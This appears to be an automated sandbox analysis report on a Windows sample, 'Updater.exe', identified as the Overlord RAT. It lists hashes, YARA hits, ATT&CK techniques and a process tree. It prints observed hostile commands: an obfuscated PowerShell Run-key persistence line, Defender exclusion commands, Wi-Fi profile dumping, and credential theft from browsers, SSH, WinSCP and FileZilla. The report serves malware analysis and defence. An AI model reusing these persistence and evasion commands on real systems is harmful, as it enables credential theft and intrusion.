overlord | 213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7

Analysis

max time kernel
149s
max time network
154s
platform
windows10-ltsc_2021_x64
resource
win10ltsc2021-20260513-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
submitted
19/08/2026, 00:34

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Updater.exe
Size 11.6MB
Sample260819-aw4e9abm8w
SHA256 213c343ab852a0b185a2198677bf48ac0e7372467cce84d813fe8c5ddc7464b7
MD5 d9636241120eb6b38a28e010dc70fa01
SHA1 f609394cb065f651b68b29352f1538a4ce19627c
SHA512 7d647ce3e95c9af05f7395672076ce17267daa3c98d9a9709f2d0565fe6e1ad12a37d7fa71295e736ba79db3bc35b7d54dcba272688266651ef1f3f139bf4851
SSDEEP 196608:dlzJA5mK4mplH9ugx1lNIdrwkTY3AiK1EIUmh/LRFXddJWiSDxcKdO:dlM4ax1bcJTqK1+6ltWfc
TLSH
T116C6332835D5DC46DCA12B3485B5E7B047B41D8EA920EF0AAFD0BD9B3D36B7E8904127
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access discovery execution overlord persistence privilege_escalation rat spyware stealer upx

Malware Config

Signatures

Family: Overlord
Overlord is an open-source Windows RAT written in Golang.
rat overlord

Detects Overlord RAT 7 IoCs

resource	yara_rule
behavioral2/memory/2172-70-0x0000000244E40000-0x0000000248270000-memory.dmp	family_overlord
behavioral2/memory/2172-93-0x0000000244E40000-0x0000000248270000-memory.dmp	family_overlord
behavioral2/memory/2172-94-0x0000000244E40000-0x0000000248270000-memory.dmp	family_overlord
behavioral2/memory/2172-96-0x0000000244E40000-0x0000000248270000-memory.dmp	family_overlord
behavioral2/memory/2172-95-0x0000000244E40000-0x0000000248270000-memory.dmp	family_overlord
behavioral2/memory/2172-97-0x0000000244E40000-0x0000000248270000-memory.dmp	family_overlord
behavioral2/memory/2172-289-0x0000000244E40000-0x0000000248270000-memory.dmp	family_overlord

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2076	powershell.exe
2720	powershell.exe
4280	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation	Updater.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\Control Panel\International\Geo\Nation	sc.exe

Executes dropped EXE 2 IoCs

pid	Process
3596	sc.exe
2456	sc.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads ssh keys stored on the system 2 TTPs
Tries to access SSH used by SSH programs.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1741132852-2793423776-1557670484-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sc = "\"C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\powershell.exe\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command \"$spfuf1=5993;$1xqnfn=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$jbkdvv=[System.Environment]::TickCount;$fkmmqj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNjLmV4ZQ==')));$syfbrf=$env:COMPUTERNAME;& $1xqnfn -FilePath $fkmmqj\""	Updater.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1372 set thread context of 2172	1372	Updater.exe	87
PID 3596 set thread context of 2456	3596	sc.exe	110

UPX packed file 16 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2172-18-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-17-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-21-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-22-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-23-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-24-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-25-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-33-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-34-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-37-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-78-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2172-210-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2456-215-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2456-214-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2456-213-0x0000000140000000-0x00000001440A7000-memory.dmp	upx
behavioral2/memory/2456-216-0x0000000140000000-0x00000001440A7000-memory.dmp	upx

Launches sc.exe 2 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3596	sc.exe
2456	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
3740	netsh.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
1404	chrome.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1741132852-2793423776-1557670484-1000\{276E6C64-39CB-4710-91C3-F53CABBAD100}	Updater.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
1372	Updater.exe
2720	powershell.exe
2720	powershell.exe
2076	powershell.exe
2076	powershell.exe
2172	Updater.exe
2172	Updater.exe
2172	Updater.exe
2172	Updater.exe
3156	chrome.exe
3156	chrome.exe
3596	sc.exe
3596	sc.exe
4280	powershell.exe
4280	powershell.exe
4280	powershell.exe
2172	Updater.exe
2172	Updater.exe
2172	Updater.exe
2172	Updater.exe
2172	Updater.exe
2172	Updater.exe
2172	Updater.exe
2172	Updater.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1372	Updater.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeIncreaseQuotaPrivilege	2720	powershell.exe
Token: SeSecurityPrivilege	2720	powershell.exe
Token: SeTakeOwnershipPrivilege	2720	powershell.exe
Token: SeLoadDriverPrivilege	2720	powershell.exe
Token: SeSystemProfilePrivilege	2720	powershell.exe
Token: SeSystemtimePrivilege	2720	powershell.exe
Token: SeProfSingleProcessPrivilege	2720	powershell.exe
Token: SeIncBasePriorityPrivilege	2720	powershell.exe
Token: SeCreatePagefilePrivilege	2720	powershell.exe
Token: SeBackupPrivilege	2720	powershell.exe
Token: SeRestorePrivilege	2720	powershell.exe
Token: SeShutdownPrivilege	2720	powershell.exe
Token: SeDebugPrivilege	2720	powershell.exe
Token: SeSystemEnvironmentPrivilege	2720	powershell.exe
Token: SeRemoteShutdownPrivilege	2720	powershell.exe
Token: SeUndockPrivilege	2720	powershell.exe
Token: SeManageVolumePrivilege	2720	powershell.exe
Token: 33	2720	powershell.exe
Token: 34	2720	powershell.exe
Token: 35	2720	powershell.exe
Token: 36	2720	powershell.exe
Token: SeDebugPrivilege	2076	powershell.exe
Token: SeShutdownPrivilege	3156	chrome.exe
Token: SeCreatePagefilePrivilege	3156	chrome.exe
Token: SeDebugPrivilege	3596	sc.exe
Token: SeShutdownPrivilege	3156	chrome.exe
Token: SeCreatePagefilePrivilege	3156	chrome.exe
Token: SeShutdownPrivilege	3156	chrome.exe
Token: SeCreatePagefilePrivilege	3156	chrome.exe
Token: SeDebugPrivilege	4280	powershell.exe
Token: SeIncreaseQuotaPrivilege	4280	powershell.exe
Token: SeSecurityPrivilege	4280	powershell.exe
Token: SeTakeOwnershipPrivilege	4280	powershell.exe
Token: SeLoadDriverPrivilege	4280	powershell.exe
Token: SeSystemProfilePrivilege	4280	powershell.exe
Token: SeSystemtimePrivilege	4280	powershell.exe
Token: SeProfSingleProcessPrivilege	4280	powershell.exe
Token: SeIncBasePriorityPrivilege	4280	powershell.exe
Token: SeCreatePagefilePrivilege	4280	powershell.exe
Token: SeBackupPrivilege	4280	powershell.exe
Token: SeRestorePrivilege	4280	powershell.exe
Token: SeShutdownPrivilege	4280	powershell.exe
Token: SeDebugPrivilege	4280	powershell.exe
Token: SeSystemEnvironmentPrivilege	4280	powershell.exe
Token: SeRemoteShutdownPrivilege	4280	powershell.exe
Token: SeUndockPrivilege	4280	powershell.exe
Token: SeManageVolumePrivilege	4280	powershell.exe
Token: 33	4280	powershell.exe
Token: 34	4280	powershell.exe
Token: 35	4280	powershell.exe
Token: 36	4280	powershell.exe
Token: SeShutdownPrivilege	3156	chrome.exe
Token: SeCreatePagefilePrivilege	3156	chrome.exe
Token: SeShutdownPrivilege	3156	chrome.exe
Token: SeCreatePagefilePrivilege	3156	chrome.exe
Token: SeShutdownPrivilege	3156	chrome.exe
Token: SeCreatePagefilePrivilege	3156	chrome.exe
Token: SeShutdownPrivilege	3156	chrome.exe
Token: SeCreatePagefilePrivilege	3156	chrome.exe
Token: SeShutdownPrivilege	3156	chrome.exe
Token: SeCreatePagefilePrivilege	3156	chrome.exe
Token: SeShutdownPrivilege	3156	chrome.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3156	chrome.exe

Suspicious use of WriteProcessMemory 35 IoCs

description	pid	Process	procid_target
PID 1372 wrote to memory of 2720	1372	Updater.exe	85
PID 1372 wrote to memory of 2172	1372	Updater.exe	87
PID 1372 wrote to memory of 2172	1372	Updater.exe	87
PID 1372 wrote to memory of 2172	1372	Updater.exe	87
PID 1372 wrote to memory of 2172	1372	Updater.exe	87
PID 2076 wrote to memory of 3596	2076	powershell.exe	92
PID 2172 wrote to memory of 3156	2172	Updater.exe	96
PID 2172 wrote to memory of 3156	2172	Updater.exe	96
PID 3156 wrote to memory of 1772	3156	chrome.exe	97
PID 3156 wrote to memory of 3892	3156	chrome.exe	100
PID 3156 wrote to memory of 1404	3156	chrome.exe	101
PID 3156 wrote to memory of 4764	3156	chrome.exe	102
PID 2172 wrote to memory of 3156	2172	Updater.exe	96
PID 3156 wrote to memory of 4080	3156	chrome.exe	103
PID 3156 wrote to memory of 1660	3156	chrome.exe	104
PID 3156 wrote to memory of 3660	3156	chrome.exe	105
PID 3156 wrote to memory of 4820	3156	chrome.exe	106
PID 3156 wrote to memory of 228	3156	chrome.exe	107
PID 2172 wrote to memory of 1772	2172	Updater.exe	97
PID 3596 wrote to memory of 4280	3596	sc.exe	108
PID 3596 wrote to memory of 2456	3596	sc.exe	110
PID 3596 wrote to memory of 2456	3596	sc.exe	110
PID 3596 wrote to memory of 2456	3596	sc.exe	110
PID 3596 wrote to memory of 2456	3596	sc.exe	110
PID 3156 wrote to memory of 1684	3156	chrome.exe	112
PID 3156 wrote to memory of 2284	3156	chrome.exe	113
PID 3156 wrote to memory of 524	3156	chrome.exe	114
PID 2172 wrote to memory of 3892	2172	Updater.exe	100
PID 3156 wrote to memory of 2720	3156	chrome.exe	115
PID 3156 wrote to memory of 3776	3156	chrome.exe	116
PID 3156 wrote to memory of 1084	3156	chrome.exe	117
PID 2172 wrote to memory of 3740	2172	Updater.exe	118
PID 3156 wrote to memory of 1040	3156	chrome.exe	121
PID 3156 wrote to memory of 3692	3156	chrome.exe	122
PID 3156 wrote to memory of 1436	3156	chrome.exe	123

C:\Users\Admin\AppData\Local\Temp\Updater.exe
"C:\Users\Admin\AppData\Local\Temp\Updater.exe"
1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Updater.exe"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2720
- C:\Users\Admin\AppData\Local\Temp\Updater.exe
  C:\Users\Admin\AppData\Local\Temp\Updater.exe
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:2172
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --disable-gpu --no-sandbox --disable-dev-shm-usage
    3⤵
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3156
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000 /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x230,0x234,0x238,0x20c,0x23c,0x7ffc85f7c728,0x7ffc85f7c734,0x7ffc85f7c740
      4⤵
      PID:1772
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=1960 /prefetch:2
      4⤵
      PID:3892
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --force-high-res-timeticks=disabled --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2044 /prefetch:3
      4⤵
      System Time Discovery
      PID:1404
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --force-high-res-timeticks=disabled --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:8
      4⤵
      PID:4764
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2780 /prefetch:1
      4⤵
      PID:4080
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2784 /prefetch:1
      4⤵
      PID:1660
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3612 /prefetch:1
      4⤵
      PID:3660
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:2
      4⤵
      PID:4820
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3652 /prefetch:2
      4⤵
      PID:228
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
      4⤵
      PID:1684
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2780 /prefetch:2
      4⤵
      PID:2284
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --force-high-res-timeticks=disabled --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=4704 /prefetch:8
      4⤵
      PID:524
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --force-high-res-timeticks=disabled --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3688 /prefetch:8
      4⤵
      PID:2720
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --force-high-res-timeticks=disabled --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3720 /prefetch:8
      4⤵
      PID:3776
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-sandbox --message-loop-type-ui --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --force-high-res-timeticks=disabled --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:8
      4⤵
      PID:1084
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --force-high-res-timeticks=disabled --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:8
      4⤵
      PID:1040
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5536 /prefetch:1
      4⤵
      PID:3692
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Temp\HeadlessChrome3156240728000" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --field-trial-handle=1964,i,14648429840726182488,7408357787246141718,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:1
      4⤵
      PID:1436
- - C:\Windows\system32\netsh.exe
    netsh wlan show profiles
    3⤵
    - Event Triggered Execution: Netsh Helper DLL
    - System Network Configuration Discovery: Wi-Fi Discovery
    PID:3740

C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$spfuf1=5993;$1xqnfn=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$jbkdvv=[System.Environment]::TickCount;$fkmmqj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHNjLmV4ZQ==')));$syfbrf=$env:COMPUTERNAME;& $1xqnfn -FilePath $fkmmqj"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Users\Admin\AppData\Roaming\sc.exe
  "C:\Users\Admin\AppData\Roaming\sc.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Launches sc.exe
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3596
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\sc.exe"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4280
- - C:\Users\Admin\AppData\Roaming\sc.exe
    C:\Users\Admin\AppData\Roaming\sc.exe
    3⤵
    - Executes dropped EXE
    - Launches sc.exe
    PID:2456

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4656

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3012

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Privilege Escalation

